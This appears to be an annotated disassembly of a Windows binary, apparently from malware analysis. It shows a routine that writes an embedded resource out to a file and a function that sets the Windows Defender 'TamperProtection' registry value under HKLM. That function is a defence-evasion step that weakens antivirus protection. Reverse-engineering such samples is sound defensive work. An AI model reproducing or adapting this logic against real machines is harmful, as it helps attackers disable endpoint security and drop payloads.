je 0x140001446
lea rdx, [0x1400043c8]
lea rcx, [rsp + 0x20]
mov ebp, 1
call qword [sym.imp.MSVCR90.dll_fopen]
mov ecx, ebp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r9, rbx
mov rdx, rbp
movsxd r8, eax
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_fclose]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rsi, qword [rsp + 0x180]
mov r13, qword [rsp + 0x140]
mov r12, qword [rsp + 0x148]
mov eax, ebp
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140002870
add rsp, 0x150
pop rdi
pop rbp
pop rbx
ret

Function at 0x140001490
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov edi, ecx
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderFeatures
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x48], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001509
mov ebx, 1
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
lea r9d, [rbx + 3]
lea rdx, str.TamperProtection
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x48], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001519
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret